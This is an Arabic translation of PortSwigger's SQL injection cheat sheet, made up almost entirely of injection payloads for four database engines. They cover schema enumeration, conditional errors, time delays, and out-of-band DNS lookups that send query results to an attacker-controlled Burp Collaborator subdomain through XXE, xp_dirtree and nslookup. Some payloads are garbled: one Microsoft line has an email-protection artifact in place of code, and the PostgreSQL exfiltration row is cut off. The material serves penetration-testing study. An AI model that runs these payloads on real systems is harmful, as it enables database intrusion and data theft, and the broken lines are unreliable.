تحتوي ورقة الغش (cheat sheet) هذه في حقن SQL على أمثلة لصياغات (أساليب بناء جمل [syntax]) مفيدة يمكنك استخدامها للقيام بمجموعة متنوعة من المهام التي تنشأ غالباً عند تنفيذ هجمات حقن SQL.
ربط السلاسل (string concatenation):
يمكنك ربط سلاسل متعددة معاً لإنشاء سلسلة واحدة.
Oracle | 'foo'||'bar' |
Microsoft | 'foo'+'bar' |
PostgreSQL | 'foo'||'bar' |
MySQL | [لاحظ الفراغ space بين السلسلتين]'foo' 'bar'
CONCAT('foo','bar') |
التعليقات (comments):
يمكنك استخدام التعليقات لاقتطاع استعلام و إزالة جزء الاستعلام الأصلي الذي يتبع المدخلات الخاصة بك.
Oracle | --comment |
Microsoft | --comment
/*comment*/ |
PostgreSQL | --comment
/*comment*/ |
MySQL | #comment
[لاحظ الفراغ space بعد الشرطة المزدوجة]-- comment /*comment*/ |
إصدار قاعدة البيانات (database version) :
يمكنك استعلام قاعدة البيانات لتحديد نوعها وإصدارها. هذه المعلومات مفيدة عند صياغة الهجمات الأشد تعقيداً.
Oracle | SELECT banner FROM v$version
SELECT version FROM v$instance |
Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
محتويات قاعدة البيانات :
يمكنك سرد الجداول الموجودة في قاعدة البيانات والأعمدة التي تحتويها هذه الجداول.
Oracle SELECT * FROM all_tables
Oracle | SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' |
Microsoft | SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
PostgreSQL | SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
MySQL | SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
الأخطاء الشرطية :
يمكنك اختبار شرط منطقي واحد وإثارة خطأ في قاعدة البيانات إذا كان الشرط صحيحاً.
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual |
Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') |
استعلامات مجمعة (أو مكدسة) [Batched (or stacked) queries]:
يمكنك استخدام الاستعلامات المجمعة لتنفيذ استعلامات متعددة متتالية. لاحظ أنه أثناء تنفيذ الاستعلامات التالية، لن يتم إرجاع النتائج إلى التطبيق. وبالتالي فإن هذه التقنية تستخدم في المقام الأول فيما يتعلق بالثغرات العمياء حيث يمكنك استخدام الاستعلام الثاني لإثارة بحث DNS أو خطأ مشروط أو تأخير زمني.
Oracle | لا تدعم الاستعلامات المجمعة |
Microsoft | QUERY-1-HERE; QUERY-2-HERE |
PostgreSQL | QUERY-1-HERE; QUERY-2-HERE |
MySQL | لا تدعم الاستعلامات المجمعة |
التأخير الزمني:
يمكنك أن تسبب تأخيراً زمنياً في قاعدة البيانات عند معالجة الاستعلام. سيؤدي ما يلي إلى تأخير زمني غير مشروط قدره 10 ثوانٍ.
Oracle | dbms_pipe.receive_message(('a'),10) |
Microsoft | WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT sleep(10) |
التأخير الزمني المشروط:
يمكنك اختبار شرط منطقي واحد و إحداث تأخير زمني إذا كان الشرط محققاً (صحيحاً).
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual |
Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a') |
بحث DNS:
يمكنك أن تسبب قاعدة البيانات بإجراء بحث DNS إلى نطاق خارجي. للقيام بذلك، ستحتاج إلى استخدامBurp Collaborator client لإنشاء نطاق Burp Collaborator فرعي فريد والذي ستستخدمه في الهجوم الخاص بك، ثم ستقوم باستطلاع خادم Collaborator لتأكيد حدوث عملية بحث DNS.
Oracle | تعمل التقنية التالية على الاستفادة من ثغرة كائن XML خارجي (XXE) لإطلاق بحث DNS. تم سد الثغرة ولكن توجد العديد من نسخ Oracle المثبتة والتي لم يتم سد الثغرة فيها : SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual تعمل التقنية التالية على نسخ Oracle المصححة بالكامل، ولكنها تتطلب صلاحيات (أو امتيازات privileges) مرتفعة: SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net') |
Microsoft | exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a' |
PostgreSQL | copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net' |
MySQL | التقنيات التالية تعمل على نظام Windows فقط: LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a')
SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' |
بحث DNS مع تسريب البيانات:
يمكنك أن تتسبب في جعل قاعدة البيانات تقوم بإجراء بحث DNS إلى نطاق خارجي يحتوي على نتائج استعلام تم حقنه. للقيام بذلك، ستحتاج إلى استخدام Burp Collaborator client لإنشاء نطاق Burp Collaborator فرعي فريد (unique Burp Collaborator subdomain) والذي ستستخدمه في هجومك، ثم ستقوم باستطلاع خادم Collaborator لاسترداد تفاصيل أية تفاعلات (أو تبادلات) DNS ، بما في ذلك البيانات المسربة.
Oracle | SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual |
Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'[email protected]+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"') |
PostgreSQL | create OR replace function f() returns void as $$ |
MySQL | التقنية التالية تعمل على نظام Windows فقط: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' |
المصدر: https://portswigger.net/web-security/sql-injection/cheat-sheet